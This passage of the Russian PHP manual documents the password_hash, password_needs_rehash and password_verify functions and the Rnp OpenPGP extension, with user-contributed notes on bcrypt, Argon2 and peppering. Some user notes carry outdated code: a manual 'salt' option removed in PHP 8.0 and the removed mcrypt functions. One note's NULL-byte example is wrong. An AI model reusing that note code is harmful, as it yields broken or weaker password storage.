  • cost (int) — задаёт алгоритмическую сложность. Пример с этой опцией можно посмотреть на странице, посвящённой функции crypt().

    Если не задано, то будет выбрано значение по умолчанию: 10. Это хорошая базовая стоимость, но можно увеличить её, если позволяет производительность оборудования.

Поддерживаемые опции для PASSWORD_ARGON2I и PASSWORD_ARGON2ID:

  • memory_cost (int) — максимальный размер памяти (в килобайтах), которая будет использована для вычисления хеша Argon2. По умолчанию будет выбрано значение константы PASSWORD_ARGON2_DEFAULT_MEMORY_COST.

  • time_cost (int) — максимально возможное время, которое можно потратить на вычисление хеша Argon2. По умолчанию будет выбрано значение константы PASSWORD_ARGON2_DEFAULT_TIME_COST.

  • threads (int) — количество потоков, которые можно задействовать для вычисления хеша Argon2. По умолчанию будет выбрано значение константы PASSWORD_ARGON2_DEFAULT_THREADS.

    Внимание

    Доступно только тогда, когда в PHP доступен модуль libargon2, но не при реализации libsodium.

Список параметров

password

Пользовательский пароль.

Предостережение

Использование алгоритма PASSWORD_BCRYPT приведёт к обрезанию поля password до максимальной длины — 72 байта.

algo

Константа, обозначающая используемый алгоритм хеширования пароля.

options

Ассоциативный массив с опциями. За документацией по поддерживаемым опциям для каждого алгоритма обратитесь к разделу Константы алгоритмов хеширования паролей.

Если не задано, то будет использована стандартная стоимость, и соль будет сгенерирована автоматически.

Возвращаемые значения

Возвращает хешированный пароль.

Выбранный алгоритм, стоимость и соль будут возвращены как часть хеша. Таким образом, информация, необходимая для проверки хеша, будет в него включена. Это позволит функции password_verify() проверять хеш без отдельного хранения информации о соли и алгоритме.

Список изменений

Версия | Описание
8.0.0 | password_hash() больше не возвращает значение false в случае возникновения ошибки. Вместо этого будет выброшено исключение ValueError, если алгоритм хеширования пароля недействителен, или Error, если хеширование пароля не удалось из-за неизвестной ошибки.
8.0.0 | Параметр algo теперь допускает значение null.
7.4.0 | Параметр algo теперь ожидает строку (string), но всё ещё принимает число (int) для обратной совместимости.
7.4.0 | Модуль sodium обеспечивает альтернативную реализацию паролей Argon2.
7.3.0 | Добавлена поддержка алгоритма хеширования паролей Argon2id с помощью PASSWORD_ARGON2ID.
7.2.0 | Добавлена поддержка хеширующего алгоритма Argon2i с помощью PASSWORD_ARGON2I.

Примеры

Пример #1 Пример использования password_hash()

<?php
/**
* Мы просто хотим захешировать пароль с настройками по умолчанию.
* Значит, будет выбран алгоритм BCRYPT и результат будет длиной 60 символов.
*
* Помните, что алгоритм по умолчанию может измениться в будущем, так что
* имеет смысл заранее позаботиться о том, чтобы система хранения хешей
* смогла хранить более 60 символов (а лучше 255)
*/
echo password_hash("rasmuslerdorf", PASSWORD_DEFAULT);
?>

Результатом выполнения данного примера будет что-то подобное:

$2y$10$.vGA1O9wmRjrwAVXD98HNOgsNpDczlqm3Jq7KnEd1rVAGv3Fykk1a

Пример #2 Пример использования password_hash() с ручным заданием стоимости

<?php
/**
* Тут мы увеличиваем алгоритмическую стоимость BCRYPT до 12.
* Но это никак не скажется на длине полученного результата, она останется 60 символов
*/
$options = [
'cost' => 12,
];
echo password_hash("rasmuslerdorf", PASSWORD_BCRYPT, $options);
?>

Результатом выполнения данного примера будет что-то подобное:

$2y$12$QjSH496pcT5CEbzjD/vtVeH03tfHKFy36d4J0Ltp3lRtee9HDxY3K

Пример #3 Пример поиска хорошего значения стоимости для функции password_hash()

<?php
/**
* Данный код замерит скорость выполнения операции с разными значениями алгоритмической сложности хеширования
* на вашем сервере и определит
* его максимальное значение, не приводящее к деградации производительности. Хорошее базовое
* значение — 10, но если ваш сервер достаточно мощный, то можно
* задать и больше. Данный скрипт ищет максимальное значение, при котором
* хеширование уложится в значение ? 350 миллисекундам, что считается приемлемой задержкой
* для систем, которые обрабатывают интерактивные входы.
*/
$timeTarget = 0.350; // 350 миллисекунд

$cost = 8;
do {
$cost++;
$start = microtime(true);
password_hash("test", PASSWORD_BCRYPT, ["cost" => $cost]);
$end = microtime(true);
} while (($end - $start) < $timeTarget);

echo "Оптимальная стоимость: " . $cost;
?>

Результатом выполнения данного примера будет что-то подобное:

Оптимальная стоимость: 12

Пример #4 Пример использования функции password_hash() с Argon2i

<?php
echo 'Хеш Argon2i: ' . password_hash('rasmuslerdorf', PASSWORD_ARGON2I);
?>

Результатом выполнения данного примера будет что-то подобное:

Хеш Argon2i: $argon2i$v=19$m=1024,t=2,p=2$YzJBSzV4TUhkMzc3d3laeg$zqU/1IN0/AogfP4cmSJI1vc8lpXRW9/S0sYY2i2jHT0

Примечания

Предостережение

Настоятельно рекомендуется использовать автоматическую генерацию соли. Данная функция самостоятельно создаст хорошую соль, если вы не будете ей мешать подсовывая свою.

Как было замечено выше, опция salt была объявлена устаревшей в PHP 7.0 и будет вызывать соответствующее предупреждение. Поддержка ручного задания соли была удалена в PHP 8.0.

Замечание:

Рекомендуется протестировать данную функцию на вашем оборудовании для определения оптимального значения алгоритмической сложности. Убедитесь, что с выбранной сложностью функция выполняется быстрее 350 миллисекунд для интерактивных систем. Скрипт в приведённом выше примере поможет выбрать оптимальное значение.

Замечание: Обновление поддерживаемых алгоритмов для этой функции (или изменение значения по умолчанию) обязаны следовать правилам:

  • Любой новый алгоритм должен присутствовать в ядре как минимум 1 полный релиз PHP для того, чтобы его можно было установить по умолчанию. Таким образом, если, к примеру, новый алгоритм был добавлен в 7.5.5, то задать по умолчанию его можно будет только в 7.7 (7.6 будет тем самым полным релизом, в течение которого он должен присутствовать, от 7.6.0 до 7.7.0). Но если новый алгоритм добавлен в 7.6.0, то его также можно будет задать по умолчанию в версии 7.7.0.
  • Алгоритм по умолчанию может быть изменён только в полном релизе (7.3.0, 8.0.0 и т. д.), но не в промежуточных. Единственное исключение — это критическая уязвимость, найденная в текущем алгоритме.

Смотрите также

  • password_verify() - Проверяет, соответствует ли пароль хешу
  • password_needs_rehash() - Проверяет, что указанный хеш соответствует заданным опциям
  • crypt() - Необратимое хеширование строки
  • sodium_crypto_pwhash_str() - Получить ASCII-кодированный хеш

User Contributed Notes

bhare at duck dot com 03-Sep-2023 04:36
If you are you going to use bcrypt then you should pepper the passwords with random large string, as commodity hardware can break bcrypt 8 character passwords within an hour; https://www.tomshardware.com/news/eight-rtx-4090s-can-break-passwords-in-under-an-hour
ms1 at rdrecs dot com 14-Oct-2019 05:07
Timing attacks simply put, are attacks that can calculate what characters of the password are due to speed of the execution.

More at...
https://paragonie.com/blog/2015/11/preventing-timing-attacks-on-string-comparison-with-double-hmac-strategy

I have added code to phpnetcomment201908 at lucb1e dot com's suggestion to make this possible "timing attack" more difficult using the code phpnetcomment201908 at lucb1e dot com posted.

$pph_strt = microtime(true);

//...
/*The code he posted for login.php*/
//...

$end = (microtime(true) - $pph_strt);

$wait = bcmul((1 - $end), 1000000);  // usleep(250000) 1/4 of a second

usleep ( $wait );

echo "<br>Execution time:".(microtime(true) - $pph_strt)."; ";

Note I suggest changing the wait time to suit your needs but make sure that it is more than than the highest execution time the script takes on your server.

Also, this is my workaround to obfuscate the execution time to nullify timing attacks. You can find an in-depth discussion and more from people far more equipped than I for cryptography at the link I posted. I do not believe this was there but there are others. It is where I found out what timing attacks were as I am new to this but would like solid security.
phpnetcomment201908 at lucb1e dot com 25-Aug-2019 02:17
Since 2017, NIST recommends using a secret input when hashing memorized secrets such as passwords. By mixing in a secret input (commonly called a "pepper"), one prevents an attacker from brute-forcing the password hashes altogether, even if they have the hash and salt. For example, an SQL injection typically affects only the database, not files on disk, so a pepper stored in a config file would still be out of reach for the attacker. A pepper must be randomly generated once and can be the same for all users. Many password leaks could have been made completely useless if site owners had done this.

Since there is no pepper parameter for password_hash (even though Argon2 has a "secret" parameter, PHP does not allow to set it), the correct way to mix in a pepper is to use hash_hmac(). The "add note" rules of php.net say I can't link external sites, so I can't back any of this up with a link to NIST, Wikipedia, posts from the security stackexchange site that explain the reasoning, or anything... You'll have to verify this manually. The code:

// config.conf
pepper=c1isvFdxMDdmjOlvxpecFw

<?php
// register.php
$pepper = getConfigVariable("pepper");
$pwd = $_POST['password'];
$pwd_peppered = hash_hmac("sha256", $pwd, $pepper);
$pwd_hashed = password_hash($pwd_peppered, PASSWORD_ARGON2ID);
add_user_to_database($username, $pwd_hashed);
?>

<?php
// login.php
$pepper = getConfigVariable("pepper");
$pwd = $_POST['password'];
$pwd_peppered = hash_hmac("sha256", $pwd, $pepper);
$pwd_hashed = get_pwd_from_db($username);
if (password_verify($pwd_peppered, $pwd_hashed)) {
    echo "Password matches.";
}
else {
    echo "Password incorrect.";
}
?>

Note that this code contains a timing attack that leaks whether the username exists. But my note was over the length limit so I had to cut this paragraph out.

Also note that the pepper is useless if leaked or if it can be cracked. Consider how it might be exposed, for example different methods of passing it to a docker container. Against cracking, use a long randomly generated value (like in the example above), and change the pepper when you do a new install with a clean user database. Changing the pepper for an existing database is the same as changing other hashing parameters: you can either wrap the old value in a new one and layer the hashing (more complex), you compute the new password hash whenever someone logs in (leaving old users at risk, so this might be okay depending on what the reason is that you're upgrading).

Why does this work? Because an attacker does the following after stealing the database:

password_verify("a", $stolen_hash)
password_verify("b", $stolen_hash)
...
password_verify("z", $stolen_hash)
password_verify("aa", $stolen_hash)
etc.

(More realistically, they use a cracking dictionary, but in principle, the way to crack a password hash is by guessing. That's why we use special algorithms: they are slower, so each verify() operation will be slower, so they can try much fewer passwords per hour of cracking.)

Now what if you used that pepper? Now they need to do this:

password_verify(hmac_sha256("a", $secret), $stolen_hash)

Without that $secret (the pepper), they can't do this computation. They would have to do:

password_verify(hmac_sha256("a", "a"), $stolen_hash)
password_verify(hmac_sha256("a", "b"), $stolen_hash)
...
etc., until they found the correct pepper.

If your pepper contains 128 bits of entropy, and so long as hmac-sha256 remains secure (even MD5 is technically secure for use in hmac: only its collision resistance is broken, but of course nobody would use MD5 because more and more flaws are found), this would take more energy than the sun outputs. In other words, it's currently impossible to crack a pepper that strong, even given a known password and salt.
Anonymous 18-Jun-2019 01:09
According to the draft specification, Argon2di is the recommended mode of operation:

> 9.4.  Recommendations
>
>   The Argon2id variant with t=1 and maximum available memory is
>   recommended as a default setting for all environments.  This setting
>   is secure against side-channel attacks and maximizes adversarial
>   costs on dedicated bruteforce hardware.

source: https://tools.ietf.org/html/draft-irtf-cfrg-argon2-06#section-9.4
Lyo Mi 06-Jan-2016 06:11
Please note that password_hash will ***truncate*** the password at the first NULL-byte.

http://blog.ircmaxell.com/2015/03/security-issue-combining-bcrypt-with.html

If you use anything as an input that can generate NULL bytes (sha1 with raw as true, or if NULL bytes can naturally end up in people's passwords), you may make your application much less secure than what you might be expecting.

The password
$a = "\01234567";
is zero bytes long (an empty password) for bcrypt.

The workaround, of course, is to make sure you don't ever pass NULL-bytes to password_hash.
Mike Robinson 28-Aug-2014 02:52
For passwords, you generally want the hash calculation time to be between 250 and 500 ms (maybe more for administrator accounts). Since calculation time is dependent on the capabilities of the server, using the same cost parameter on two different servers may result in vastly different execution times. Here's a quick little function that will help you determine what cost parameter you should be using for your server to make sure you are within this range (note, I am providing a salt to eliminate any latency caused by creating a pseudorandom salt, but this should not be done when hashing passwords):

<?php
/**
 * @Param int $min_ms Minimum amount of time in milliseconds that it should take
 * to calculate the hashes
 */
function getOptimalBcryptCostParameter($min_ms = 250) {
    for ($i = 4; $i < 31; $i++) {
        $options = [ 'cost' => $i, 'salt' => 'usesomesillystringforsalt' ];
        $time_start = microtime(true);
        password_hash("rasmuslerdorf", PASSWORD_BCRYPT, $options);
        $time_end = microtime(true);
        if (($time_end - $time_start) * 1000 > $min_ms) {
            return $i;
        }
    }
}
echo getOptimalBcryptCostParameter(); // prints 12 in my case
?>
Cloxy 18-Oct-2013 09:45
You can produce the same hash in php 5.3.7+ with crypt() function:

<?php

$salt = mcrypt_create_iv(22, MCRYPT_DEV_URANDOM);
$salt = base64_encode($salt);
$salt = str_replace('+', '.', $salt);
$hash = crypt('rasmuslerdorf', '$2y$10$'.$salt.'$');

echo $hash;

?>
nicoSWD 06-Oct-2013 03:29
I agree with martinstoeckli,

don't create your own salts unless you really know what you're doing.

By default, it'll use /dev/urandom to create the salt, which is based on noise from device drivers.

And on Windows, it uses CryptGenRandom().

Both have been around for many years, and are considered secure for cryptography (the former probably more than the latter, though).

Don't try to outsmart these defaults by creating something less secure. Anything that is based on rand(), mt_rand(), uniqid(), or variations of these is *not* good.
martinstoeckli 08-Mar-2013 10:36
In most cases it is best to omit the salt parameter. Without this parameter, the function will generate a cryptographically safe salt, from the random source of the operating system.
martinstoeckli 17-Dec-2012 08:56
There is a compatibility pack available for PHP versions 5.3.7 and later, so you don't have to wait on version 5.5 for using this function. It comes in form of a single php file:
https://github.com/ircmaxell/password_compat


Проверяет, что указанный хеш соответствует заданным опциям

  • « password_hash
  • password_verify »
  • PHP Manual
  • Функции хеширования паролей
  • Проверяет, что указанный хеш соответствует заданным опциям

password_needs_rehash

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

password_needs_rehash — Проверяет, что указанный хеш соответствует заданным опциям

Описание

password_needs_rehash(string $hash, string|int|null $algo, array $options = []): bool

Проверяет, что указанный хеш соответствует заданным опциям и заданному алгоритму. Если нет, то можно сделать вывод о том, что хеш надо пересоздать.

Список параметров

hash

Хеш, созданный функцией password_hash().

algo

Константа, обозначающая используемый алгоритм хеширования пароля.

options

Ассоциативный массив с опциями. За документацией по поддерживаемым опциям для каждого алгоритма обратитесь к разделу Константы алгоритмов хеширования паролей.

Возвращаемые значения

Возвращает true, если пароль должен быть перехеширован с использованием алгоритма algo и опций options, или false, если нет.

Список изменений

Версия | Описание
7.4.0 | Параметр algo теперь ожидает строку (string), но всё ещё принимает число (int) для обратной совместимости.

Примеры

Пример #1 Пример использования password_needs_rehash()

<?php

$password = 'rasmuslerdorf';
$hash = '$2y$10$YCFsG6elYca568hBi2pZ0.3LDL5wjgxct1N8w/oLR/jfHsiQwCqTS';

$algorithm = PASSWORD_BCRYPT;
// Значение bcrypt-стоимости может измениться по мере роста производительности оборудования
$options = ['cost' => 12];

// Сравниваем сохранённый хеш с открытым паролем
if (password_verify($password, $hash)) {
// Проверяем, не изменился ли алгоритм или параметры
if (password_needs_rehash($hash, $algorithm, $options)) {
// Если были изменения, перехешируем и заменяем старый хеш новым
$newHash = password_hash($password, $algorithm, $options);

// Обновляем запись пользователя новым $newHash
}

// Авторизуем пользователя
}
?>

User Contributed Notes

Daniel Hejduk 01-Jan-2022 01:30
Password need rehash also when its too strong. For example
<?php
$a = '123';
$hash = password_hash($a, PASSWORD_BCRYPT, ['cost'=>16]);
var_export(password_needs_rehash($hash,  PASSWORD_BCRYPT, ['cost'=>15])); //True
geekasylum at google mail 17-May-2018 11:05
This function can indeed be used to assist in transparently updating legacy passwords (those not using the password_hash() function - eg: perhaps something using MD5 or SHA1)

In legacy sites, when authenticating a user (during login) first check the password using password_verify(). If that fails it may simply be because the user's password hash was created long ago by a legacy or home-brew password algorithm.

You can then re-check the password against the site's legacy password algorithm.  If that fails too, then the login fails, since the supplied password did not authenticate against either the new, or the old password tests.

If any one of those two test was successfull, you know that the password is good so you would then call password_needs_rehash() on the stored hash, and it will properly indicate if the password hash needs to be re-computed, either because it's an unrecognised (legacy) hash or it's a modern hash created by password_hash(), which may just need its cost index updated.

Simply store the recomputed hash in the database and you now have a password_verify() compatible password for that user and the second test can be skipped in future logins (but still check if it needs rehashing).
admin at torntech dot com 13-Sep-2014 02:48
Some other use-cases for the password_needs_rehash function is when you have specified using the PASSWORD_DEFAULT algorithm for password_hash.
As mentioned on the Password Hashing Predefined Constants and password_hash pages, the algorithm used by PASSWORD_DEFAULT is subject to change as different versions of PHP are released.
Additionally password_needs_rehash would be used if you have changed the optional cost or static salt (DO NOT USE A STATIC SALT) requirements of your password_hash options.

Full example:

<?php

$new = [
    'options' => ['cost' => 11],
    'algo' => PASSWORD_DEFAULT,
    'hash' => null
];

$password = 'rasmuslerdorf';

//stored hash of password
$oldHash = '$2y$07$BCryptRequires22Chrcte/VlQH0piJtjXl.0t1XkA8pw9dMXTpOq';

//verify stored hash against plain-text password
if (true === password_verify($password, $oldHash)) {
    //verify legacy password to new password_hash options
    if (true === password_needs_rehash($oldHash, $new['algo'], $new['options'])) {
        //rehash/store plain-text password using new hash
        $newHash = password_hash($password, $new['algo'], $new['options']);
        echo $newHash;
    }
}
?>

The above example will output something similar to:
$2y$11$Wu5rN3u38.g/XWdUeA6Wj.PD.F0fLXXmZrMNFyzzg2UxkVmxlk41W
php dot net at muer dot nl 13-May-2014 09:39
This function cannot check if a string is a MD5 or SHA1 hash. It can only tell you if a password, hashed using the password_hash function, needs to be put through the hashing function again to keep up to date with the new defaults.

The only time you can use this function is when your user logs in and you have already checked by means of password_verify that the password entered is actually correct. At that point, if password_needs_rehash returns true, you can put the plain text password through the password_hash function.


Проверяет, соответствует ли пароль хешу

  • « password_needs_rehash
  • Rnp »
  • PHP Manual
  • Функции хеширования паролей
  • Проверяет, соответствует ли пароль хешу

password_verify

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

password_verify — Проверяет, соответствует ли пароль хешу

Описание

password_verify(string $password, string $hash): bool

Проверяет, соответствует ли пароль хешу.
Функция password_verify() совместима с crypt().
Следовательно, хеши паролей, созданные crypt(),
могут быть использованы в password_verify().

Обратите внимание, что password_hash() возвращает алгоритм, стоимость и соль как части хеша. Таким образом, вся необходимая для проверки информация включена в него. Это позволяет производить проверку без необходимости хранить все эти данные раздельно.

Эта функция безопасна для атак по времени.

Список параметров

password

Пользовательский пароль.

hash

Хеш, созданный функцией password_hash().

Возвращаемые значения

Возвращает true или false, в зависимости от результатов проверки.

Примеры

Пример #1 Пример использования password_verify()

Это упрощённый пример; при необходимости рекомендуется пересоздать правильный пароль; смотрите пример в описании функции password_needs_rehash().

<?php
// Смотрите пример использования password_hash(), для понимания откуда это взялось.
$hash = '$2y$10$.vGA1O9wmRjrwAVXD98HNOgsNpDczlqm3Jq7KnEd1rVAGv3Fykk1a';

if (password_verify('rasmuslerdorf', $hash)) {
echo 'Пароль правильный!';
} else {
echo 'Пароль неправильный.';
}
?>

Результат выполнения данного примера:

Пароль правильный!

Смотрите также

  • password_needs_rehash() - Проверяет, что указанный хеш соответствует заданным опциям
  • password_hash() - Создаёт хеш пароля
  • » пользовательская реализация
  • sodium_crypto_pwhash_str_verify() - Проверяет, что пароль соответствует хешу

User Contributed Notes

There are no user contributed notes for this page.


Rnp

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
    • Подписание текста
  • Функции Rnp
    • rnp_backend_string — Возвращает имя библиотеки криптографического бэкенда
    • rnp_backend_version — Возвращает версию криптографической библиотеки бэкенда
    • rnp_decrypt — Расшифровывает сообщение PGP
    • rnp_dump_packets_to_json — Выгрузка информации о потоке пакетов OpenPGP в строку JSON
    • rnp_dump_packets — Выгружает информацию о потоке пакетов OpenPGP в человеко-читаемом формате
    • rnp_ffi_create — Создаёт объект верхнего уровня, используемый для взаимодействия с библиотекой
    • rnp_ffi_destroy — Уничтожает объект верхнего уровня, используемый для взаимодействия с библиотекой
    • rnp_ffi_set_pass_provider — Устанавливает callback-функцию поставщика паролей
    • rnp_import_keys — Импортирует ключи из строки PHP в связку ключей и получает JSON с описанием новых/обновлённых ключей
    • rnp_import_signatures — Импортирует автономные подписи в связку ключей и получает JSON с описанием обновлённых ключей
    • rnp_key_export_autocrypt — Экспортирует минимальный ключ для функции автоматического шифрования (всего 5 пакетов: ключ, uid, подпись, дочерний ключ шифрования, подпись)
    • rnp_key_export_revocation — Генерирует и экспортирует подпись отзыва первичного ключа
    • rnp_key_export — Экспортирует ключ
    • rnp_key_get_info — Получает информацию о ключе
    • rnp_key_remove — Удаляет ключ из связки (связок)
    • rnp_key_revoke — Отзывает ключ или дочерний ключ путём создания и добавления подписи отзыва
    • rnp_list_keys — Перечисляет все ключи, присутствующие в связке ключей, по указанному типу идентификатора
    • rnp_load_keys_from_path — Загружает ключи из указанного пути
    • rnp_load_keys — Загружает ключи из строки PHP
    • rnp_locate_key — Поиск ключа
    • rnp_op_encrypt — Шифрует сообщение
    • rnp_op_generate_key — Генерирует ключ
    • rnp_op_sign_cleartext — Выполняет операцию подписания текстовых данных, возвращая подписанный открытый текст сообщения
    • rnp_op_sign_detached — Выполняет операцию подписания, возвращает отсоединённую подпись (подписи)
    • rnp_op_sign — Выполняет операцию подписания бинарных данных, возвращает присоединённую подпись (подписи)
    • rnp_op_verify_detached — Проверяет отсоединённые подписи
    • rnp_op_verify — Проверяет присоединённую подпись или подпись открытого текста
    • rnp_save_keys_to_path — Сохраняет ключи по указанному пути
    • rnp_save_keys — Сохраняет ключи в строке PHP
    • rnp_supported_features — Получает поддерживаемые функции в формате JSON
    • rnp_version_string_full — Возвращает строку полной версии библиотеки RNP
    • rnp_version_string — Возвращает строку версии библиотеки RNP
  • RnpFFI — Класс RnpFFI

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль позволяет использовать библиотеку » RNP. RNP - это высокопроизводительная C++ библиотека OpenPGP, используемая Mozilla Thunderbird.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для того чтобы использовать функции библиотеки RNP, необходимо установить » библиотеку RNP. Требуется версия библиотеки RNP >= 0.16.2.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/rnp

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

RNP_KEYSTORE_GPG (string)
Формат хранилища ключей "GPG".
RNP_KEYSTORE_KBX (string)
Формат хранилища ключей "KBX". Только для открытых ключей. Хранилище ключей - это формат файла, используемый для хранения открытых ключей вместе с метаинформацией и индексами.
RNP_KEYSTORE_G10 (string)
Формат хранилища ключей "G10". Для закрытых ключей.
RNP_LOAD_SAVE_PUBLIC_KEYS (integer)
Загрузка или сохранение только открытых ключей. Может быть ИЛИ с константой RNP_LOAD_SAVE_SECRET_KEYS для загрузки открытых и закрытых ключей в контекст FFI или сохранения их из контекста.
RNP_LOAD_SAVE_SECRET_KEYS (integer)
Загрузка или сохранение только секретных ключей. Может быть ИЛИ с константой RNP_LOAD_SAVE_PUBLIC_KEYS для загрузки открытых и закрытых ключей в контекст FFI или сохранения их из контекста.
RNP_LOAD_SAVE_PERMISSIVE (integer)
Позволяет игнорировать пакеты плохих подписей/ключей/дочерних ключей при импорте ключей.
RNP_LOAD_SAVE_SINGLE (integer)
Если установлено, будет загружен только первый ключ.
RNP_LOAD_SAVE_BASE64 (integer)
Разрешить импорт base64-кодированных ключей (autocrypt).
RNP_FEATURE_SYMM_ALG (string)
Список доступных алгоритмов симметричного шифрования.
RNP_FEATURE_AEAD_ALG (string)
Список доступных алгоритмов AEAD.
RNP_FEATURE_PROT_MODE (string)
Список доступных режимов защиты.
RNP_FEATURE_PK_ALG (string)
Список доступных алгоритмов открытых ключей.
RNP_FEATURE_HASH_ALG (string)
Список доступных хеш-алгоритмов.
RNP_FEATURE_COMP_ALG (string)
Список доступных алгоритмов сжатия.
RNP_FEATURE_CURVE (string)
Список доступных эллиптических кривых.
RNP_DUMP_MPI (integer)
Выгрузка значений MPI (многоточечных целых чисел).
RNP_DUMP_RAW (integer)
Выгрузка содержимого необработанного пакета.
RNP_DUMP_GRIP (integer)
Выгрузка цифрового отпечатка и захватов клавиш.
RNP_JSON_DUMP_MPI (integer)
Выгрузка значений MPI (многоточечных целых чисел).
RNP_JSON_DUMP_RAW (integer)
Выгрузка содержимого необработанного пакета.
RNP_JSON_DUMP_GRIP (integer)
Выгрузка цифровых отпечатков пальцев и захватов клавиш.
RNP_ENCRYPT_NOWRAP (integer)
Позволяет зашифровать подписанное сообщение. Сообщение не заворачивается в строчный пакет данных.
RNP_KEY_EXPORT_ARMORED (integer)
Включение ASCII-преобразования экспортируемых данных.
RNP_KEY_EXPORT_PUBLIC (integer)
Экспорт открытого ключа.
RNP_KEY_EXPORT_SECRET (integer)
Экспорт закрытого ключа.
RNP_KEY_EXPORT_SUBKEYS (integer)
Если экспортируется первичный ключ, все дочерние ключи также будут экспортированы.
RNP_KEY_EXPORT_BASE64 (integer)
Экспорт ключа автоматического шифрования в base64-кодировке вместо двоичной.
RNP_KEY_REMOVE_PUBLIC (integer)
Удаление открытого ключа.
RNP_KEY_REMOVE_SECRET (integer)
Удаление закрытого ключа.
RNP_KEY_REMOVE_SUBKEYS (integer)
Если удаляется первичный ключ, все его дочерние ключи также будут удалены.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Содержание

  • Подписание текста

User Contributed Notes

There are no user contributed notes for this page.


Подписание текста

В данном примере будет подписание заданного текста.

Пример #1 Пример расчёта RNP

<?php
// Инициализация объекта FFI
$ffi = rnp_ffi_create('GPG', 'GPG');

// Генерация ключа RSA
$key = rnp_op_generate_key($ffi, 'test@example.com', 'RSA');

// Подписание
$data = "Пример текста для подписи";
$signature = rnp_op_sign_cleartext($ffi, $data, array($key));

echo $signature;

// Уничтожение объекта FFI
rnp_ffi_destroy($ffi);
?>

User Contributed Notes

There are no user contributed notes for this page.


Функции Rnp

Содержание

  • rnp_backend_string — Возвращает имя библиотеки криптографического бэкенда
  • rnp_backend_version — Возвращает версию криптографической библиотеки бэкенда
  • rnp_decrypt — Расшифровывает сообщение PGP
  • rnp_dump_packets_to_json — Выгрузка информации о потоке пакетов OpenPGP в строку JSON
  • rnp_dump_packets — Выгружает информацию о потоке пакетов OpenPGP в человеко-читаемом формате
  • rnp_ffi_create — Создаёт объект верхнего уровня, используемый для взаимодействия с библиотекой
  • rnp_ffi_destroy — Уничтожает объект верхнего уровня, используемый для взаимодействия с библиотекой
  • rnp_ffi_set_pass_provider — Устанавливает callback-функцию поставщика паролей
  • rnp_import_keys — Импортирует ключи из строки PHP в связку ключей и получает JSON с описанием новых/обновлённых ключей
  • rnp_import_signatures — Импортирует автономные подписи в связку ключей и получает JSON с описанием обновлённых ключей
  • rnp_key_export_autocrypt — Экспортирует минимальный ключ для функции автоматического шифрования (всего 5 пакетов: ключ, uid, подпись, дочерний ключ шифрования, подпись)
  • rnp_key_export_revocation — Генерирует и экспортирует подпись отзыва первичного ключа
  • rnp_key_export — Экспортирует ключ
  • rnp_key_get_info — Получает информацию о ключе
  • rnp_key_remove — Удаляет ключ из связки (связок)
  • rnp_key_revoke — Отзывает ключ или дочерний ключ путём создания и добавления подписи отзыва
  • rnp_list_keys — Перечисляет все ключи, присутствующие в связке ключей, по указанному типу идентификатора
  • rnp_load_keys_from_path — Загружает ключи из указанного пути
  • rnp_load_keys — Загружает ключи из строки PHP
  • rnp_locate_key — Поиск ключа
  • rnp_op_encrypt — Шифрует сообщение
  • rnp_op_generate_key — Генерирует ключ
  • rnp_op_sign_cleartext — Выполняет операцию подписания текстовых данных, возвращая подписанный открытый текст сообщения
  • rnp_op_sign_detached — Выполняет операцию подписания, возвращает отсоединённую подпись (подписи)
  • rnp_op_sign — Выполняет операцию подписания бинарных данных, возвращает присоединённую подпись (подписи)
  • rnp_op_verify_detached — Проверяет отсоединённые подписи
  • rnp_op_verify — Проверяет присоединённую подпись или подпись открытого текста
  • rnp_save_keys_to_path — Сохраняет ключи по указанному пути
  • rnp_save_keys — Сохраняет ключи в строке PHP
  • rnp_supported_features — Получает поддерживаемые функции в формате JSON
  • rnp_version_string_full — Возвращает строку полной версии библиотеки RNP
  • rnp_version_string — Возвращает строку версии библиотеки RNP

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя библиотеки криптографического бэкенда

  • « Функции Rnp
  • rnp_backend_version »
  • PHP Manual
  • Функции Rnp
  • Возвращает имя библиотеки криптографического бэкенда

rnp_backend_string

(PECL rnp >= 0.1.1)

rnp_backend_string — Возвращает имя библиотеки криптографического бэкенда

Описание

rnp_backend_string(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Строка имени бэкенда. В настоящее время поддерживаются следующие: "Botan" и "OpenSSL".

User Contributed Notes

There are no user contributed notes for this page.


Возвращает версию криптографической библиотеки бэкенда

  • « rnp_backend_string
  • rnp_decrypt »
  • PHP Manual
  • Функции Rnp
  • Возвращает версию криптографической библиотеки бэкенда

rnp_backend_version

(PECL rnp >= 0.1.1)

rnp_backend_version — Возвращает версию криптографической библиотеки бэкенда

Описание

rnp_backend_version(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает версию в виде строки.

User Contributed Notes

There are no user contributed notes for this page.


Расшифровывает сообщение PGP

  • « rnp_backend_version
  • rnp_dump_packets_to_json »
  • PHP Manual
  • Функции Rnp
  • Расшифровывает сообщение PGP

rnp_decrypt

(PECL rnp >= 0.1.1)

rnp_decrypt — Расшифровывает сообщение PGP

Описание

rnp_decrypt(RnpFFI $ffi, string $input): string|false

Закрытые ключи, используемые для расшифровки, должны быть загружены в объект FFI перед вызовом функции. Если использовалось шифрование паролем, то провайдер пароля должен быть установлен вызовом функции rnp_ffi_set_pass_provider().

Список параметров

ffi

Объект FFI, возвращаемый функцией rnp_ffi_create.

input

Зашифрованное сообщение.

Возвращаемые значения

Расшифрованное сообщение в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Выгрузка информации о потоке пакетов OpenPGP в строку JSON

  • « rnp_decrypt
  • rnp_dump_packets »
  • PHP Manual
  • Функции Rnp
  • Выгрузка информации о потоке пакетов OpenPGP в строку JSON

rnp_dump_packets_to_json

(PECL rnp >= 0.1.1)

rnp_dump_packets_to_json — Выгрузка информации о потоке пакетов OpenPGP в строку JSON

Описание

